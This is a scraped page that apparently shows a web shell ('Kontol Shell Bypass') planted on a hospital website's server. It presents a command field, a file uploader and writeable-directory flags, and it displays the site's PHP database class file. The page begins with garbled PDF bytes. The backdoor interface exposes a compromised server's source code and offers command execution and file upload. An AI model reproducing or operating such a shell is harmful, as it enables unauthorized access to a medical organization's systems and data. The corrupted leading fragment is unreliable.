%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lp/cardiology/classes/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/lp/cardiology/classes/Dbop.php
<?php

/**
 * \brief This class contains Database Query details [Ex : Insert, Update, Delete etc.]
 * \n Features:
 * \li Get Database Object
 * \li Select Data from Database Table
 * \li Update Data into Database Table
 * \li Delete Data from Database Table
 * \li Execute Queries
 * \n
 * \author Jayshri Kinge
 * \version 1.0
 * \date 04/03/2015
 * \note (C) 2015 Fermion Infotech Private Limited. All rights reserved. (info@fermion.in)
 */
error_reporting(0);
class Dbop {

	/**
	 * Connection Object $connection
	 */
    private $connection;

	/**
	 * getObject gets the connection object by calling method getDBObject
	 * @param Array $database containing the connection data
	 * <p> This function is use to get the connection object to create connection with database</p>
	 * @return void
	 */
	public function getObject($database) {
            //error_log("test________DBOP".$database);
           $this->connection = DbConn::getDBObject($database);
	}

	/**
	 * getParamType gets the type of parameter
	 * @param String $type containing the datatype
	 * <p> This function is use to get the type of parameter</p>
	 * @return Char
	 */
	private function getParamType($type) {
		switch($type) {
			case 'integer':
				$returnValue = 'i';
				break;
			case 'double':
				$returnValue = 'd';
				break;
			default:
				$returnValue = 's';
		}
		return $returnValue;
	}

	public function prepareStmt($sql, $database = 'cube') {
		$this->getObject($database);
		$statement = $this->connection->prepare($sql);

		if(!$statement) {
			@@error_log($this->getError() . ' :: ' . $sql);
			return false;
		}
		return $statement;
	}

	/**
	 * select retrives data from database table
	 * @param String $sql containing the query string which executes to retrive data
	 * @param String $params is array variable which stores parameter types
	 * @param Array $database contains database details
	 * <p> This function retrives the data from database table by calling prepare & execute method</p>
	 * @return Array
	 */
	public function select($sql, $params = array(), $database = DB_INVINO, $statement = false) {
		$resultArr = array();
		//$paramType = '';
		$bindParams = array();
		$bindParams[0] = '';
		$i = 0;

		if(!$statement || !is_object($statement)) {
			$statement = $this->prepareStmt($sql, $database);
		}

		if(!$statement) {
			@error_log($this->getError() . ' ::--- ' . $sql);
		}

		if(is_array($params)) {
			foreach($params as $param) {
				$i++;
				$bindParams[0] .= $this->getParamType(gettype($param));
				$bindParams[$i] = $param;
			}
			$tmp = array();
			foreach($bindParams as $key => $value) $tmp[$key] = &$bindParams[$key];
			call_user_func_array(array($statement, "bind_param"), $tmp);
		}

		$statement->execute();

		if($statement->errno == 0) {
			$statement->store_result();
		}

		if(strlen($statement->error) > 0) {
			@error_log($statement->error . ' :: ' . $sql);
		}

		$allFieldsArr = $statement->result_metadata()->fetch_fields();
		foreach($allFieldsArr as $fields) {
			$allFields[] = trim($fields->name);
		}

		$fieldArray = array();
		for($fieldI = 0; $fieldI < $statement->field_count; $fieldI++) {
			$fieldArray[$fieldI] = '';
		}

		$tmp = array();
        foreach($fieldArray as $key => $value) $tmp[$key] = &$fieldArray[$key];
		call_user_func_array(array($statement,"bind_result"), $tmp);

		$i = 0;
		while($row = $statement->fetch()){
			$j = 0;
			foreach($fieldArray as $key => $value) {
				$resultArr[$i][$allFields[$j]] = $value;
				$j++;
			}
			$i++;
		}

		$statement->free_result();

		if(!$statement || !is_object($statement)) {
			$statement->close();
		}
		return $resultArr;
	}

	/**
	 * update edit data from database table
	 * @param String $sql containing the query string which executes to update data
	 * @param Array $params is array variable which stores parameter types
	 * @param Array $database contains database details
	 * <p> This function update the data from database table by calling prepare & execute method</p>
	 * @return INT [Number of affected_rows]
	 */
	public function update($sql, $params = array(), $database = DB_INVINO, $statement = false) {
		//$resultArr = array();
		$bindParams = array();
		$bindParams[0] = '';
		$i = 0;

		if(!$statement || !is_object($statement)) {
			$statement = $this->prepareStmt($sql, $database);
		}

		if(!$statement) {
			@error_log($this->getError() . ' :: ' . $sql);
		}

		if(is_array($params)) {
			foreach($params as $param) {
				$i++;
				$bindParams[0] .= $this->getParamType(gettype($param));
				$bindParams[$i] = $param;
			}
			$tmp = array();
			foreach($bindParams as $key => $value) $tmp[$key] = &$bindParams[$key];
			call_user_func_array(array($statement, "bind_param"), $tmp);
		}

		$statement->execute();

		if(strlen($statement->error) > 0) {
			@error_log($statement->error . ' :: ' . $sql);
		}

		$affectedRows = $statement->affected_rows;

		if(!$statement || !is_object($statement)) {
			$statement->close();
		}

		return $affectedRows;
	}

	public function truncate($sql, $database = DB_INVINO, $statement = false) {
		
		if(!$statement || !is_object($statement)) {
			$statement = $this->prepareStmt($sql, $database);
		}

		if(!$statement) {
			@error_log($this->getError() . ' :: ' . $sql);
		}

		$statement->execute();

		if(strlen($statement->error) > 0) {
			@error_log($statement->error . ' :: ' . $sql);
		}

		$affectedRows = $statement->affected_rows;

		if(!$statement || !is_object($statement)) {
			$statement->close();
		}

		return $affectedRows;
	}

	/**
	 * delete, deletes data row from database table
	 * @param String $sql containing the query string which executes to delete data
	 * @param Array $params is array variable which stores parameter types
	 * @param Array $database contains database details
	 * <p> This function deletes the data from database table by calling prepare & execute method</p>
	 * @return INT [Number of affected_rows]
	 */
	public function delete($sql, $params = array(), $database = DB_INVINO, $statement = false) {
		//$resultArr = array();
		$bindParams = array();
		$bindParams[0] = '';
		$i = 0;

		if(!$statement || !is_object($statement)) {
			$statement = $this->prepareStmt($sql, $database);
		}

		if(!$statement) {
			@error_log($this->getError() . ' :: ' . $sql);
		}

		if(is_array($params)) {
			foreach($params as $param) {
				$i++;
				$bindParams[0] .= $this->getParamType(gettype($param));
				$bindParams[$i] = $param;
			}
			$tmp = array();
			foreach($bindParams as $key => $value) $tmp[$key] = &$bindParams[$key];
			call_user_func_array(array($statement, "bind_param"), $tmp);
		}

		$statement->execute();

		if(strlen($statement->error) > 0) {
			@error_log($statement->error . ' :: ' . $sql);
		}

		$affectedRows = $statement->affected_rows;

		if(!$statement || !is_object($statement)) {
			$statement->close();
		}

		return $affectedRows;
	}

	/**
	 * insert is a normal method to insert data row into database table
	 * @param String $sql containing the query string which executes to insert data
	 * @param Array $params is array variable which stores parameter types
	 * @param Array $database contains database details
	 * <p> This function inserted the data in database table by calling prepare & execute method</p>
	 * @return INT [Number of affected_rows]
	 */
	public function insert($sql, $params = array(), $database = DB_INVINO, $statement = false) {
		$success = false;
		//$resultArr = array();
		$bindParams = array();
		$bindParams[0] = '';
		$i = 0;

		if(!$statement || !is_object($statement)) {
			$statement = $this->prepareStmt($sql, $database);
		}

		if(!$statement) {
			@error_log($this->getError() . ' :: ' . $sql);
		}

		if(is_array($params)) {
			foreach($params as $param) {
				$i++;
				$bindParams[0] .= $this->getParamType(gettype($param));
				$bindParams[$i] = $param;
			}
			$tmp = array();
			foreach($bindParams as $key => $value) $tmp[$key] = &$bindParams[$key];
			call_user_func_array(array($statement, "bind_param"), $tmp);
		}

		$success = $statement->execute();

		if($success !== true) {
			@error_log($this->getError() . ' :: ' . $sql);
		}

		if(strlen($statement->error) > 0) {
			@error_log($statement->error . ' :: ' . $sql);
		}

		$insertID = $statement->insert_id;

		if(!$statement || !is_object($statement)) {
			$statement->close();
		}

		return $insertID;
	}

	/**
	 * select retrives data from database table
	 * @param String $sql containing the query string which executes to retrive data
	 * @param String $params is array variable which stores parameter types
	 * @param Array $database contains database details
	 * <p> This function retrives the data from database table by calling prepare & execute method</p>
	 * @return Array
	 */
	public function execSelect($sql, $database = DB_INVINO) {
		$this->getObject($database);

		$resultObj = $this->connection->query($sql);

		if($resultObj === false) {
			@error_log($this->connection->error . ' :: ' . $sql);
		} else {
			//$resultArr = $resultObj->fetch_all(MYSQLI_ASSOC);
			for ($resultArr = array(); $tmp = $resultObj->fetch_array(MYSQLI_ASSOC);) $resultArr[] = $tmp;
		}

		$resultObj->close();
		return $resultArr;
	}

	/**
	 * update edit data from database table
	 * @param String $sql containing the query string which executes to update data
	 * @param Array $params is array variable which stores parameter types
	 * @param Array $database contains database details
	 * <p> This function update the data from database table by calling prepare & execute method</p>
	 * @return INT [Number of affected_rows]
	 */
	public function execUpdate($sql, $database = DB_INVINO) {
		$this->getObject($database);

		$success = $this->connection->query($sql);
		if($success === false) {
			@error_log($this->connection->error . ' :: ' . $sql);
		}

		$affectedRows = $resultObj->affected_rows;
		return $affectedRows;
	}

	/**
	 * delete, deletes data row from database table
	 * @param String $sql containing the query string which executes to delete data
	 * @param Array $params is array variable which stores parameter types
	 * @param Array $database contains database details
	 * <p> This function deletes the data from database table by calling prepare & execute method</p>
	 * @return INT [Number of affected_rows]
	 */
	public function execDelete($sql, $database = DB_INVINO) {
		$this->getObject($database);

		$success = $this->connection->query($sql);
		if($success === false) {
			@error_log($this->connection->error . ' :: ' . $sql);
		}

		$affectedRows = $this->connection->affected_rows;
		return $affectedRows;
	}

	/**
	 * execInsert is a normal method to insert data row into database table
	 * @param String $sql containing the query string which executes to insert data
	 * @param Array $params is array variable which stores parameter types
	 * @param Array $database contains database details
	 * <p> This function inserted the data in database table by calling prepare & execute method</p>
	 * @return INT [Number of affected_rows]
	 */
	public function execInsert($sql, $database = DB_INVINO) {
		$this->getObject($database);

		$success = $this->connection->query($sql);
		if($success === false) {
			@error_log($this->connection->error . ' :: ' . $sql);
		}

		$insertID = $this->connection->insert_id;
		return $insertID;
	}

	/**
	 * execQuery is a normal method to execute the query
	 * @param String $sql containing the query string which executes to update data
	 * @param Array $database contains database details
	 * <p> This function executes query which passed as an argument after creation of database connection</p>
	 * @return Boolean [true or false] or ResultSet
	 */
    public function execQuery($sql, $database) {
		$this->getObject($database);
		try {
			return $this->connection->query($sql);
		}
		catch (Exception $err){
				$err = $this->connection->error;
				throw new Exception($err);
		}
	}

	/**
	 * getError displays the error message
	 * <p> This function displays error message if code is not executed successfully</p>
	 * @return String [Error message]
	 */
	public function getError() {
		return $this->connection->error;
	}

	/**
	 * multiQuery displays the error message
	 * @param String $sql contains the SQL Query
	 * @param String $database contains the Database Connection Object
	 * <p> This function executes one or multiple queries which are concatenated by a semicolon. </p>
	 * @return Boolean [Returns FALSE if the first statement failed otherwise true]
	 */
	public function multiQuery($sql, $database) {

		$this->getObject($database);
		try {
			return $this->connection->multi_query($sql);
		}
		catch (Exception $err){
				$err = $this->connection->error;
				throw new Exception($err);
		}
	}

	/**
	 * getUUID create unique ID through uuid() of mysqli
	 * @param Array $database contains the details of database
	 * <p> This function creates UUID which is a 128-bit number represented by a utf8 string of five hexadecimal numbers in aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee format:  </p>
	 * @return String Returns a Universal Unique Identifier
	 */
	public function getUUID($database) {
		$this->getObject($database);
		try {
			$query = 'select uuid() as uuid';
			$uidArr = $this->select($query, '', $database);
			return $uidArr[0]['uuid'];
		}
		catch (Exception $err){
			$err = $this->connection->error;
			throw new Exception($err);
		}
		return '';
	}

}

Kontol Shell Bypass